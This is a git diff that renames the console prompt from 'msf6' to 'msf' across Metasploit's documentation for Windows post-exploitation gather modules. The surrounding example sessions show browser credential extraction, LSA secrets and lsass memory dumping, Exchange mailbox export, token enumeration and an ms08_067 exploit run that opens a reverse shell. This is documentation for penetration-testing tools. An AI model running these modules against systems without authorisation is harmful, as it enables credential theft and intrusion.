--- a/documentation/modules/post/windows/gather/enum_artifacts.md +++ b/documentation/modules/post/windows/gather/enum_artifacts.md @@ -25,12 +25,12 @@ Full path to artifacts file. ### Windows 7 (6.1 Build 7601, Service Pack 1) ``` -msf6 > use post/windows/gather/enum_artifacts -msf6 post(windows/gather/enum_artifacts) > set session 1 +msf > use post/windows/gather/enum_artifacts +msf post(windows/gather/enum_artifacts) > set session 1 session => 1 -msf6 post(windows/gather/enum_artifacts) > set verbose true +msf post(windows/gather/enum_artifacts) > set verbose true verbose => true -msf6 post(windows/gather/enum_artifacts) > run +msf post(windows/gather/enum_artifacts) > run [*] Searching for artifacts of test_evidence [*] Processing 2 file entries for test_evidence ... diff --git a/documentation/modules/post/windows/gather/enum_av.md b/documentation/modules/post/windows/gather/enum_av.md index 8356d7e2f9461..0e7dddf7c16b5 100644 --- a/documentation/modules/post/windows/gather/enum_av.md +++ b/documentation/modules/post/windows/gather/enum_av.md @@ -24,10 +24,10 @@ The session to run this module on. meterpreter > bg [*] Backgrounding session 1... - msf6 > use windows/gather/enum_av - msf6 post(windows/gather/enum_av) > set session 1 + msf > use windows/gather/enum_av + msf post(windows/gather/enum_av) > set session 1 session => 1 - msf6 post(windows/gather/enum_av) > run + msf post(windows/gather/enum_av) > run [*] Found AV product: displayName=Windows Defender diff --git a/documentation/modules/post/windows/gather/enum_browsers.md b/documentation/modules/post/windows/gather/enum_browsers.md index 5f809491cb024..f20bf7e75f7df 100644 --- a/documentation/modules/post/windows/gather/enum_browsers.md +++ b/documentation/modules/post/windows/gather/enum_browsers.md @@ -106,7 +106,7 @@ This post-exploitation module extracts sensitive browser data from both Chromium ### Normal Session ```bash -msf6 post(windows/gather/enum_browsers) > run +msf post(windows/gather/enum_browsers) > run [*] Targeting: W00T\ah (IP: 178.238.175.xxx) [*] System Information: W00T | OS: Windows 11 (10.0 Build 27729). | Arch: x64 | Lang: en_US @@ -159,9 +159,9 @@ msf6 post(windows/gather/enum_browsers) > run ### Select only specific browser for extraction ```bash -msf6 post(windows/gather/enum_browsers) > set BROWSER_TYPE firefox +msf post(windows/gather/enum_browsers) > set BROWSER_TYPE firefox BROWSER_TYPE => firefox -msf6 post(windows/gather/enum_browsers) > run +msf post(windows/gather/enum_browsers) > run [*] Targeting: W00T\ah (IP: 178.238.175.xxx) [*] System Information: W00T | OS: Windows 11 (10.0 Build 27729). | Arch: x64 | Lang: en_US @@ -186,7 +186,7 @@ msf6 post(windows/gather/enum_browsers) > run If the browser processes are running, cookies and other files may be locked and inaccessible. Use the `KILL_BROWSER` option to kill browsers before extraction: ```bash -msf6 post(windows/gather/enum_browsers) > set KILL_BROWSER true +msf post(windows/gather/enum_browsers) > set KILL_BROWSER true KILL_BROWSER => true ``` @@ -197,9 +197,9 @@ This will kill any selected & running browser processes and avoid file access is Extract browser cache (may take a long time). It is recommended to set `KILL_BROWSER` to `true` for best results, as this prevents file access issues. ```bash -msf6 post(windows/gather/enum_browsers) > set EXTRACT_CACHE true +msf post(windows/gather/enum_browsers) > set EXTRACT_CACHE true EXTRACT_CACHE => true -msf6 post(windows/gather/enum_browsers) > run +msf post(windows/gather/enum_browsers) > run [*] Targeting: W00T\ah (IP: 178.238.175.xxx) [*] System Information: W00T | OS: Windows 11 (10.0 Build 27723). | Arch: x64 | Lang: en_US @@ -226,9 +226,9 @@ msf6 post(windows/gather/enum_browsers) > run If you want to ensure that the session runs in the user context (e.g., `explorer.exe`) to avoid access issues, enable the `USER_MIGRATION` option: ```bash -msf6 post(windows/gather/enum_browsers) > set USER_MIGRATION true +msf post(windows/gather/enum_browsers) > set USER_MIGRATION true USER_MIGRATION => true -msf6 post(windows/gather/enum_browsers) > run +msf post(windows/gather/enum_browsers) > run [*] Found explorer.exe running with PID: 11520. Attempting migration. [+] Successfully migrated to explorer.exe (PID: 11520). @@ -242,9 +242,9 @@ msf6 post(windows/gather/enum_browsers) > run If you want to see each step of the extraction and decryption process, enable verbose mode: ```bash -msf6 post(windows/gather/enum_browsers) > set VERBOSE true +msf post(windows/gather/enum_browsers) > set VERBOSE true VERBOSE => true -msf6 post(windows/gather/enum_browsers) > run +msf post(windows/gather/enum_browsers) > run [*] Targeting: W00T\ah (IP: 178.238.175.xxx) [*] System Information: W00T | OS: Windows 11 (10.0 Build 27729). | Arch: x64 | Lang: en_US diff --git a/documentation/modules/post/windows/gather/enum_chocolatey_applications.md b/documentation/modules/post/windows/gather/enum_chocolatey_applications.md index cada698c88b44..dc72bafbf8576 100644 --- a/documentation/modules/post/windows/gather/enum_chocolatey_applications.md +++ b/documentation/modules/post/windows/gather/enum_chocolatey_applications.md @@ -24,12 +24,12 @@ the path. ### Windows 10 Pro (21H2 Build 19044.1586). ``` -msf6 exploit(multi/handler) > [*] Meterpreter session 12 opened (192.168.56.1:4444 -> 192.168.56.112:49906 ) at 2022-03-27 15:57:39 -0400 +msf exploit(multi/handler) > [*] Meterpreter session 12 opened (192.168.56.1:4444 -> 192.168.56.112:49906 ) at 2022-03-27 15:57:39 -0400 -msf6 exploit(multi/handler) > use post/windows/gather/enum_chocolatey_applications -msf6 post(windows/gather/enum_chocolatey_applications) > set SESSION 12 +msf exploit(multi/handler) > use post/windows/gather/enum_chocolatey_applications +msf post(windows/gather/enum_chocolatey_applications) > set SESSION 12 SESSION => 12 -msf6 post(windows/gather/enum_chocolatey_applications) > run +msf post(windows/gather/enum_chocolatey_applications) > run [*] Enumerating applications installed on DESKTOP-LB04G7R [*] Targets Chocolatey version: 1.0.0 diff --git a/documentation/modules/post/windows/gather/enum_domain.md b/documentation/modules/post/windows/gather/enum_domain.md index 2ad2214db0e86..36a03f54515ee 100644 --- a/documentation/modules/post/windows/gather/enum_domain.md +++ b/documentation/modules/post/windows/gather/enum_domain.md @@ -19,7 +19,7 @@ and domain controller. ### Windows 2016 with Windows 2008 SP1 DC ``` -msf6 post(windows/gather/enum_domain) > sessions -i 1 +msf post(windows/gather/enum_domain) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo @@ -33,10 +33,10 @@ Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... -msf6 post(windows/gather/enum_domain) > use post/windows/gather/enum_domain -msf6 post(windows/gather/enum_domain) > set session 1 +msf post(windows/gather/enum_domain) > use post/windows/gather/enum_domain +msf post(windows/gather/enum_domain) > set session 1 session => 1 -msf6 post(windows/gather/enum_domain) > run +msf post(windows/gather/enum_domain) > run [+] Domain FQDN: corp.local [+] Domain NetBIOS Name: CORP diff --git a/documentation/modules/post/windows/gather/enum_domain_group_users.md b/documentation/modules/post/windows/gather/enum_domain_group_users.md index 371d0cb146316..d0d0da9ae357b 100644 --- a/documentation/modules/post/windows/gather/enum_domain_group_users.md +++ b/documentation/modules/post/windows/gather/enum_domain_group_users.md @@ -27,8 +27,8 @@ The group to enumerate. ### Windows 2012 DC ``` -msf6 post(windows/gather/enum_domain_group_users) > use post/windows/gather/enum_domain_group_users -msf6 post(windows/gather/enum_domain_group_users) > sessions -i 6 +msf post(windows/gather/enum_domain_group_users) > use post/windows/gather/enum_domain_group_users +msf post(windows/gather/enum_domain_group_users) > sessions -i 6 [*] Starting interaction with 6... meterpreter > sysinfo @@ -41,18 +41,18 @@ Logged On Users : 4 Meterpreter : x86/windows meterpreter > background [*] Backgrounding session 6... -msf6 post(windows/gather/enum_domain_group_users) > set session 6 +msf post(windows/gather/enum_domain_group_users) > set session 6 session => 6 -msf6 post(windows/gather/enum_domain_group_users) > set group finance +msf post(windows/gather/enum_domain_group_users) > set group finance group => finance -msf6 post(windows/gather/enum_domain_group_users) > run +msf post(windows/gather/enum_domain_group_users) > run [*] Running module against DC1 [-] Post aborted due to failure: unknown: No members found for 'hoodiecola\finance' group. [*] Post module execution completed -msf6 post(windows/gather/enum_domain_group_users) > set group "quality control" +msf post(windows/gather/enum_domain_group_users) > set group "quality control" group => quality control -msf6 post(windows/gather/enum_domain_group_users) > run +msf post(windows/gather/enum_domain_group_users) > run [*] Running module against DC1 (1.1.1.1) [*] Found 3 users in 'hoodiecola\quality control' group. diff --git a/documentation/modules/post/windows/gather/enum_domain_tokens.md b/documentation/modules/post/windows/gather/enum_domain_tokens.md index 30d2390d08b96..f180ce54c8f6b 100644 --- a/documentation/modules/post/windows/gather/enum_domain_tokens.md +++ b/documentation/modules/post/windows/gather/enum_domain_tokens.md @@ -21,10 +21,10 @@ and Backup Operator groups. ### Local Administrator session on Windows Server 2016 ``` -msf6 > use post/windows/gather/enum_domain_tokens -msf6 post(windows/gather/enum_domain_tokens) > set session 1 +msf > use post/windows/gather/enum_domain_tokens +msf post(windows/gather/enum_domain_tokens) > set session 1 session => 1 -msf6 post(windows/gather/enum_domain_tokens) > run +msf post(windows/gather/enum_domain_tokens) > run [*] Running module against WIN-7V3NGVNQTJ1 (192.168.200.215) [+] Current session is running under a Local Admin account @@ -65,7 +65,7 @@ Impersonation Tokens with Domain Context [*] Post module execution completed -msf6 post(windows/gather/enum_domain_tokens) > sessions -i 1 +msf post(windows/gather/enum_domain_tokens) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid diff --git a/documentation/modules/post/windows/gather/enum_hostfile.md b/documentation/modules/post/windows/gather/enum_hostfile.md index 2f152bb84b2a6..b80a8bf140972 100644 --- a/documentation/modules/post/windows/gather/enum_hostfile.md +++ b/documentation/modules/post/windows/gather/enum_hostfile.md @@ -20,8 +20,8 @@ and the file is stored in loot. ### Windows 10 ``` -msf6 post(windows/gather/enum_hostfile) > use post/windows/gather/enum_hostfile -msf6 post(windows/gather/enum_hostfile) > sessions -i 5 +msf post(windows/gather/enum_hostfile) > use post/windows/gather/enum_hostfile +msf post(windows/gather/enum_hostfile) > sessions -i 5 [*] Starting interaction with 5... meterpreter > sysinfo @@ -34,9 +34,9 @@ Logged On Users : 2 Meterpreter : x86/windows meterpreter > background [*] Backgrounding session 5... -msf6 post(windows/gather/enum_hostfile) > set session 5 +msf post(windows/gather/enum_hostfile) > set session 5 session => 5 -msf6 post(windows/gather/enum_hostfile) > run +msf post(windows/gather/enum_hostfile) > run Found entries: [+] 1.1.1.1 supersecret diff --git a/documentation/modules/post/windows/gather/enum_hyperv_vms.md b/documentation/modules/post/windows/gather/enum_hyperv_vms.md index dc3fbfada2baf..d2953a4eef4d2 100644 --- a/documentation/modules/post/windows/gather/enum_hyperv_vms.md +++ b/documentation/modules/post/windows/gather/enum_hyperv_vms.md @@ -32,7 +32,7 @@ This module just uses the standard options available to any post module. ### Meterpreter session as a normal user on Windows Server 2019 Standard Edition - fails as user lacks required permissions ``` -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 172.20.150.24:4444 [*] Sending stage (200262 bytes) to 172.20.150.24 @@ -53,8 +53,8 @@ SeMachineAccountPrivilege meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use post/windows/gather/enum_hyperv_vms -msf6 post(windows/gather/enum_hyperv_vms) > show options +msf exploit(multi/handler) > use post/windows/gather/enum_hyperv_vms +msf post(windows/gather/enum_hyperv_vms) > show options Module options (post/windows/gather/enum_hyperv_vms): @@ -62,19 +62,19 @@ Module options (post/windows/gather/enum_hyperv_vms): ---- --------------- -------- ----------- SESSION yes The session to run this module on. -msf6 post(windows/gather/enum_hyperv_vms) > set session 1 +msf post(windows/gather/enum_hyperv_vms) > set session 1 session => 1 -msf6 post(windows/gather/enum_hyperv_vms) > run +msf post(windows/gather/enum_hyperv_vms) > run [+] Compressed size: 800 [-] You need to be running as an elevated admin or a user of the Hyper-V Administrators group to run this module [*] Post module execution completed -msf6 post(windows/gather/enum_hyperv_vms) > +msf post(windows/gather/enum_hyperv_vms) > ``` ### Meterpreter session as an elevated admin user ``` -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 172.20.150.24:4444 [*] Sending stage (200262 bytes) to 172.20.150.24 @@ -117,10 +117,10 @@ SeUndockPrivilege meterpreter > background [*] Backgrounding session 2... -msf6 exploit(multi/handler) > use post/windows/gather/enum_hyperv_vms -msf6 post(windows/gather/enum_hyperv_vms) > set SESSION 2 +msf exploit(multi/handler) > use post/windows/gather/enum_hyperv_vms +msf post(windows/gather/enum_hyperv_vms) > set SESSION 2 SESSION => 2 -msf6 post(windows/gather/enum_hyperv_vms) > run +msf post(windows/gather/enum_hyperv_vms) > run [+] Compressed size: 800 [*] Name State CPUUsage(%) MemoryAssigned(M) Uptime Status Version @@ -130,5 +130,5 @@ Windows XP SP3 Running 79 2048 02:54:58.3210000 Operating [+] Stored loot at /home/gwillcox/.msf4/loot/20200910184541_default_172.20.150.24_host.hyperv_vms_309544.txt [*] Post module execution completed -msf6 post(windows/gather/enum_hyperv_vms) > +msf post(windows/gather/enum_hyperv_vms) > ``` diff --git a/documentation/modules/post/windows/gather/enum_ms_product_keys.md b/documentation/modules/post/windows/gather/enum_ms_product_keys.md index ddceb192c959f..eeb03c29435f8 100644 --- a/documentation/modules/post/windows/gather/enum_ms_product_keys.md +++ b/documentation/modules/post/windows/gather/enum_ms_product_keys.md @@ -17,10 +17,10 @@ This module will enumerate Microsoft product license keys. ### Windows 7 Professional SP1 (x64) ``` -msf6 > use post/windows/gather/enum_ms_product_keys -msf6 post(windows/gather/enum_ms_product_keys) > set session 1 +msf > use post/windows/gather/enum_ms_product_keys +msf post(windows/gather/enum_ms_product_keys) > set session 1 session => 1 -msf6 post(windows/gather/enum_ms_product_keys) > run +msf post(windows/gather/enum_ms_product_keys) > run [*] Finding Microsoft product keys on TEST (192.168.200.190) diff --git a/documentation/modules/post/windows/gather/enum_onedrive.md b/documentation/modules/post/windows/gather/enum_onedrive.md index ef51db226701f..95cb839940f9a 100644 --- a/documentation/modules/post/windows/gather/enum_onedrive.md +++ b/documentation/modules/post/windows/gather/enum_onedrive.md @@ -30,8 +30,8 @@ The session to run the module on. ### Windows 10 x64 v2004 With OneDrive Installed But No Accounts ``` -msf6 exploit(multi/handler) > use post/windows/gather/enum_onedrive -msf6 post(windows/gather/enum_onedrive) > show options +msf exploit(multi/handler) > use post/windows/gather/enum_onedrive +msf post(windows/gather/enum_onedrive) > show options Module options (post/windows/gather/enum_onedrive): @@ -39,9 +39,9 @@ Module options (post/windows/gather/enum_onedrive): ---- --------------- -------- ----------- SESSION 1 yes The session to run this module on. -msf6 post(windows/gather/enum_onedrive) > set SESSION 2 +msf post(windows/gather/enum_onedrive) > set SESSION 2 SESSION => 2 -msf6 post(windows/gather/enum_onedrive) > run +msf post(windows/gather/enum_onedrive) > run [-] Error loading USER S-1-5-21-3917347361-1576396349-327053466-1000: Profile doesn't exist or cannot be accessed [-] Error loading USER S-1-5-21-3917347361-1576396349-327053466-1001: Profile doesn't exist or cannot be accessed @@ -53,16 +53,16 @@ msf6 post(windows/gather/enum_onedrive) > run [-] (HKU\S-1-5-21-3917347361-1576396349-327053466-1002) OneDrive not installed. [*] Post module execution completed -msf6 post(windows/gather/enum_onedrive) > +msf post(windows/gather/enum_onedrive) > ``` ### Windows 10 x64 v2004 With OneDrive Installed and One Business and One Personal Account ``` -msf6 exploit(multi/handler) > use post/windows/gather/enum_onedrive -msf6 post(windows/gather/enum_onedrive) > set SESSION 3 +msf exploit(multi/handler) > use post/windows/gather/enum_onedrive +msf post(windows/gather/enum_onedrive) > set SESSION 3 SESSION => 3 -msf6 post(windows/gather/enum_onedrive) > run +msf post(windows/gather/enum_onedrive) > run [-] Error loading USER S-1-5-21-3917347361-1576396349-327053466-1000: Profile doesn't exist or cannot be accessed [-] Error loading USER S-1-5-21-3917347361-1576396349-327053466-1001: Profile doesn't exist or cannot be accessed @@ -101,15 +101,15 @@ msf6 post(windows/gather/enum_onedrive) > run [+] OneDrive sync information saved to /home/gwillcox/.msf4/loot/20210129095922_default_172.18.30.231_onedrive.syncinf_606475.txt in CSV format. [*] Post module execution completed -msf6 post(windows/gather/enum_onedrive) > +msf post(windows/gather/enum_onedrive) > ``` ### Windows 10 x64 v2004 With OneDrive Installed and One Business and One Personal Account, But One Account Is Orphaned ``` -msf6 exploit(multi/handler) > use post/windows/gather/enum_onedrive -msf6 post(windows/gather/enum_onedrive) > set SESSION 3 +msf exploit(multi/handler) > use post/windows/gather/enum_onedrive +msf post(windows/gather/enum_onedrive) > set SESSION 3 SESSION => 3 -msf6 post(windows/gather/enum_onedrive) > run +msf post(windows/gather/enum_onedrive) > run [-] Error loading USER S-1-5-21-3917347361-1576396349-327053466-1000: Profile doesn't exist or cannot be accessed [-] Error loading USER S-1-5-21-3917347361-1576396349-327053466-1001: Profile doesn't exist or cannot be accessed @@ -141,5 +141,5 @@ msf6 post(windows/gather/enum_onedrive) > run [+] OneDrive sync information saved to /home/gwillcox/.msf4/loot/20210129101238_default_172.18.30.231_onedrive.syncinf_127262.txt in CSV format. [*] Post module execution completed -msf6 post(windows/gather/enum_onedrive) > +msf post(windows/gather/enum_onedrive) > ``` diff --git a/documentation/modules/post/windows/gather/enum_patches.md b/documentation/modules/post/windows/gather/enum_patches.md index 9e83968d4ad98..514c87e1a7159 100644 --- a/documentation/modules/post/windows/gather/enum_patches.md +++ b/documentation/modules/post/windows/gather/enum_patches.md @@ -20,9 +20,9 @@ WMI query: `SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering`. ### Windows 11 Pro 10.0.22000 Build 22000 x64 ``` -msf6 post(windows/gather/enum_patches) > set session 1 +msf post(windows/gather/enum_patches) > set session 1 session => 1 -msf6 post(windows/gather/enum_patches) > run +msf post(windows/gather/enum_patches) > run [*] Running module against WINDEV2110EVAL (192.168.200.140) @@ -42,9 +42,9 @@ Installed Patches ### Windows 7 SP1 x64 ``` -msf6 post(windows/gather/enum_patches) > set session 1 +msf post(windows/gather/enum_patches) > set session 1 session => 1 -msf6 post(windows/gather/enum_patches) > run +msf post(windows/gather/enum_patches) > run [*] Running module against TEST (192.168.200.190) @@ -77,9 +77,9 @@ Installed Patches ### Windows XP SP3 x86 ``` -msf6 post(windows/gather/enum_patches) > set session 1 +msf post(windows/gather/enum_patches) > set session 1 session => 1 -msf6 post(windows/gather/enum_patches) > run +msf post(windows/gather/enum_patches) > run [*] Running module against WINXP (192.168.200.164) diff --git a/documentation/modules/post/windows/gather/enum_powershell_env.md b/documentation/modules/post/windows/gather/enum_powershell_env.md index c173c6eef61e1..b8264ea31a8af 100644 --- a/documentation/modules/post/windows/gather/enum_powershell_env.md +++ b/documentation/modules/post/windows/gather/enum_powershell_env.md @@ -18,10 +18,10 @@ This module will enumerate Microsoft PowerShell settings. ### Windows 7 (6.1 Build 7601, Service Pack 1) ``` -msf6 > use post/windows/gather/enum_powershell_env -msf6 post(windows/gather/enum_powershell_env) > set session 1 +msf > use post/windows/gather/enum_powershell_env +msf post(windows/gather/enum_powershell_env) > set session 1 session => 1 -msf6 post(windows/gather/enum_powershell_env) > run +msf post(windows/gather/enum_powershell_env) > run [*] Running module against test (192.168.200.158) [*] PowerShell is installed on this system. @@ -68,10 +68,10 @@ Get-Host | Select-Object Version ``` -msf6 > use post/windows/gather/enum_powershell_env -msf6 post(windows/gather/enum_powershell_env) > set session 1 +msf > use post/windows/gather/enum_powershell_env +msf post(windows/gather/enum_powershell_env) > set session 1 session => 1 -msf6 post(windows/gather/enum_powershell_env) > run +msf post(windows/gather/enum_powershell_env) > run [*] Running module against WinDev2110Eval (192.168.200.140) [*] PowerShell is installed on this system. diff --git a/documentation/modules/post/windows/gather/enum_proxy.md b/documentation/modules/post/windows/gather/enum_proxy.md index 3602a87bdca5e..67ec9a72affa6 100644 --- a/documentation/modules/post/windows/gather/enum_proxy.md +++ b/documentation/modules/post/windows/gather/enum_proxy.md @@ -31,10 +31,10 @@ SID of user to clone settings to (SYSTEM is S-1-5-18) (default: blank) ### Windows Server 2016 (x86_64) ``` -msf6 > use post/windows/gather/enum_proxy -msf6 post(windows/gather/enum_proxy) > set session 1 +msf > use post/windows/gather/enum_proxy +msf post(windows/gather/enum_proxy) > set session 1 session => 1 -msf6 post(windows/gather/enum_proxy) > run +msf post(windows/gather/enum_proxy) > run [*] Proxy Counter = 3 [*] Setting: WPAD and Proxy server @@ -45,15 +45,15 @@ msf6 post(windows/gather/enum_proxy) > run ### Windows 7 SP1 (x86_64) ``` -msf6 > use post/windows/gather/enum_proxy -msf6 post(windows/gather/enum_proxy) > set session 1 +msf > use post/windows/gather/enum_proxy +msf post(windows/gather/enum_proxy) > set session 1 session => 1 -msf6 post(windows/gather/enum_proxy) > run +msf post(windows/gather/enum_proxy) > run [*] Proxy Counter = 77 [*] Setting: WPAD, Proxy server and AutoConfigure script [*] Proxy Server: http=127.0.0.1:8080;https=127.0.0.1:8080;ftp=127.0.0.1:8080 [*] AutoConfigURL: http://corp.local/wpad.dat [*] Post module execution completed -msf6 post(windows/gather/enum_proxy) > +msf post(windows/gather/enum_proxy) > ``` diff --git a/documentation/modules/post/windows/gather/enum_services.md b/documentation/modules/post/windows/gather/enum_services.md index 6ca122c5913a3..6131bb3cbd9f9 100644 --- a/documentation/modules/post/windows/gather/enum_services.md +++ b/documentation/modules/post/windows/gather/enum_services.md @@ -36,10 +36,10 @@ Service startup types to display (`All`, `Auto`, `Manual`, `Disabled`) (default: ### Windows Server 2008 SP1 (x64) ``` -msf6 > use post/windows/gather/enum_services -msf6 post(windows/gather/enum_services) > set session 1 +msf > use post/windows/gather/enum_services +msf post(windows/gather/enum_services) > set session 1 session => 1 -msf6 post(windows/gather/enum_services) > run +msf post(windows/gather/enum_services) > run [*] Listing Service Info for matching services, please wait... [+] New service credential detected: AeLookupSvc is running as 'localSystem' diff --git a/documentation/modules/post/windows/gather/enum_shares.md b/documentation/modules/post/windows/gather/enum_shares.md index 7884790baec87..c6227a3c7bc3a 100644 --- a/documentation/modules/post/windows/gather/enum_shares.md +++ b/documentation/modules/post/windows/gather/enum_shares.md @@ -29,10 +29,10 @@ Enumerate recently entered UNC Paths in the Run Dialog (default: `true`) ### Windows Server 2008 (x64) ``` -msf6 > use post/windows/gather/enum_shares -msf6 post(windows/gather/enum_shares) > set session 1 +msf > use post/windows/gather/enum_shares +msf post(windows/gather/enum_shares) > set session 1 session => 1 -msf6 post(windows/gather/enum_shares) > run +msf post(windows/gather/enum_shares) > run [*] Running module against WIN-17B09RRRJTG (192.168.200.218) [*] The following shares were found: diff --git a/documentation/modules/post/windows/gather/enum_snmp.md b/documentation/modules/post/windows/gather/enum_snmp.md index 0b19097efa16e..57d5dfc69926b 100644 --- a/documentation/modules/post/windows/gather/enum_snmp.md +++ b/documentation/modules/post/windows/gather/enum_snmp.md @@ -17,10 +17,10 @@ This module will enumerate the SNMP service configuration. ### Windows Server 2008 (x64) ``` -msf6 > use post/windows/gather/enum_snmp -msf6 post(windows/gather/enum_snmp) > set session 1 +msf > use post/windows/gather/enum_snmp +msf post(windows/gather/enum_snmp) > set session 1 session => 1 -msf6 post(windows/gather/enum_snmp) > run +msf post(windows/gather/enum_snmp) > run [*] Running module against WIN-17B09RRRJTG (192.168.200.218) [*] Checking if SNMP service is installed diff --git a/documentation/modules/post/windows/gather/enum_tokens.md b/documentation/modules/post/windows/gather/enum_tokens.md index ae61a573bf62d..4f92e9fa82df2 100644 --- a/documentation/modules/post/windows/gather/enum_tokens.md +++ b/documentation/modules/post/windows/gather/enum_tokens.md @@ -32,11 +32,11 @@ Attempt to get SYSTEM privilege on the target host. (default: `true`) ### Local Administrator session on Windows Server 2008 SP1 (x64) ``` -msf6 post(windows/gather/enum_tokens) > set session 1 +msf post(windows/gather/enum_tokens) > set session 1 session => 1 -msf6 post(windows/gather/enum_tokens) > set getsystem false +msf post(windows/gather/enum_tokens) > set getsystem false getsystem => false -msf6 post(windows/gather/enum_tokens) > run +msf post(windows/gather/enum_tokens) > run [*] Running module against WIN-17B09RRRJTG (192.168.200.218) [+] Found token for session 1 (192.168.200.218) - Administrator (Delegation Token) diff --git a/documentation/modules/post/windows/gather/exchange.md b/documentation/modules/post/windows/gather/exchange.md index 69d5179994d69..0ba8b80ecd119 100644 --- a/documentation/modules/post/windows/gather/exchange.md +++ b/documentation/modules/post/windows/gather/exchange.md @@ -74,10 +74,10 @@ ### Windows Server 2012 R2 with On-Premise Exchange Server 2010 ``` -msf6 exploit(multi/handler) > use post/windows/gather/exchange -msf6 post(windows/gather/exchange) > set SESSION 1 +msf exploit(multi/handler) > use post/windows/gather/exchange +msf post(windows/gather/exchange) > set SESSION 1 SESSION => 1 -msf6 post(windows/gather/exchange) > run -a LIST +msf post(windows/gather/exchange) > run -a LIST [+] Exchange Server is present on target machine [+] PowerShell is present on target machine @@ -100,9 +100,9 @@ Mailboxes: [...] [*] Post module execution completed -msf6 post(windows/gather/exchange) > set MAILBOX "Administrator" +msf post(windows/gather/exchange) > set MAILBOX "Administrator" MAILBOX => Administrator -msf6 post(windows/gather/exchange) > run -a EXPORT +msf post(windows/gather/exchange) > run -a EXPORT [+] Exchange Server is present on target machine [+] PowerShell is present on target machine @@ -117,5 +117,5 @@ Exporting done [*] Resulting export file size: 0.26 MB [+] PST saved in: /home/user/.msf4/loot/20210309120402_default_192.168.1.70_PST_427036.pst [*] Post module execution completed -msf6 post(windows/gather/exchange) > +msf post(windows/gather/exchange) > ``` diff --git a/documentation/modules/post/windows/gather/forensics/fanny_bmp_check.md b/documentation/modules/post/windows/gather/forensics/fanny_bmp_check.md index d49673a6f7a4d..623285fa9b2a9 100644 --- a/documentation/modules/post/windows/gather/forensics/fanny_bmp_check.md +++ b/documentation/modules/post/windows/gather/forensics/fanny_bmp_check.md @@ -32,11 +32,11 @@ This module is intended to detect those artifacts. ### Windows XP SP3 ``` -msf6 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_067_netapi -msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.122.1 -msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.122.160 -msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 4444 -msf6 exploit(windows/smb/ms08_067_netapi) > run +msf exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_067_netapi +msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.122.1 +msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.122.160 +msf exploit(windows/smb/ms08_067_netapi) > set LPORT 4444 +msf exploit(windows/smb/ms08_067_netapi) > run [*] Started reverse TCP handler on 192.168.122.1:4444 [*] 192.168.122.160:445 - Automatically detecting the target... diff --git a/documentation/modules/post/windows/gather/get_bookmarks.md b/documentation/modules/post/windows/gather/get_bookmarks.md index b9826ede9a160..b2e58c17d3167 100644 --- a/documentation/modules/post/windows/gather/get_bookmarks.md +++ b/documentation/modules/post/windows/gather/get_bookmarks.md @@ -21,12 +21,12 @@ This modules retrieves stored bookmarks for Google Chrome, Microsoft Edge and Op ### Windows 11. ``` -msf6 exploit(multi/handler) > use post/windows/gather/get_bookmarks +msf exploit(multi/handler) > use post/windows/gather/get_bookmarks [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 post(windows/gather/get_bookmarks) > set session 3 +msf post(windows/gather/get_bookmarks) > set session 3 session => 3 -msf6 post(windows/gather/get_bookmarks) > run +msf post(windows/gather/get_bookmarks) > run [-] Error loading USER S-1-5-21-1515542607-384395710-682424177-500: Profile doesn't exist or cannot be accessed @@ -40,7 +40,7 @@ msf6 post(windows/gather/get_bookmarks) > run [*] Bookmarks stored: C:/metasploit/apps/pro/loot/20220405164640_default_Edge.bookmarks_245676.txt [*] Post module execution completed -msf6 post(windows/gather/get_bookmarks) > loot +msf post(windows/gather/get_bookmarks) > loot Loot ==== diff --git a/documentation/modules/post/windows/gather/lsa_secrets.md b/documentation/modules/post/windows/gather/lsa_secrets.md index 2dcbfb16f9cd3..95b8c0ba82649 100644 --- a/documentation/modules/post/windows/gather/lsa_secrets.md +++ b/documentation/modules/post/windows/gather/lsa_secrets.md @@ -26,7 +26,7 @@ value is a legitimate password, thus you may fill your database with bad values. The `DefaultPassword` in this case is legitimate. ``` -msf6 post(windows/gather/lsa_secrets) > run +msf post(windows/gather/lsa_secrets) > run [*] Executing module against MSEDGEWIN10 [*] Obtaining boot key... @@ -34,7 +34,7 @@ msf6 post(windows/gather/lsa_secrets) > run [*] Vista or above system [-] Could not retrieve LSA key. Are you SYSTEM? [*] Post module execution completed -msf6 post(windows/gather/lsa_secrets) > sessions -i 5 +msf post(windows/gather/lsa_secrets) > sessions -i 5 [*] Starting interaction with 5... meterpreter > getsystem @@ -49,7 +49,7 @@ Logged On Users : 2 Meterpreter : x86/windows meterpreter > background [*] Backgrounding session 5... -msf6 post(windows/gather/lsa_secrets) > run +msf post(windows/gather/lsa_secrets) > run [*] Executing module against MSEDGEWIN10 [*] Obtaining boot key... @@ -70,7 +70,7 @@ msf6 post(windows/gather/lsa_secrets) > run [*] Writing to loot... [*] Data saved in: /home/h00die/.msf4/loot/20201011171021_default_192.168.2.92_registry.lsa.sec_067749.txt [*] Post module execution completed -msf6 post(windows/gather/lsa_secrets) > creds +msf post(windows/gather/lsa_secrets) > creds Credentials =========== diff --git a/documentation/modules/post/windows/gather/memory_dump.md b/documentation/modules/post/windows/gather/memory_dump.md index a01401e7c043c..ff0c3a72d4715 100644 --- a/documentation/modules/post/windows/gather/memory_dump.md +++ b/documentation/modules/post/windows/gather/memory_dump.md @@ -78,9 +78,9 @@ Process List meterpreter > Background session 4? [y/N] -msf6 post(windows/gather/memory_dump) > set pid 700 +msf post(windows/gather/memory_dump) > set pid 700 pid => 700 -msf6 post(windows/gather/memory_dump) > run +msf post(windows/gather/memory_dump) > run [*] Running module against DemoPC [*] Dumping memory for lsass.exe diff --git a/documentation/modules/post/windows/gather/netlm_downgrade.md 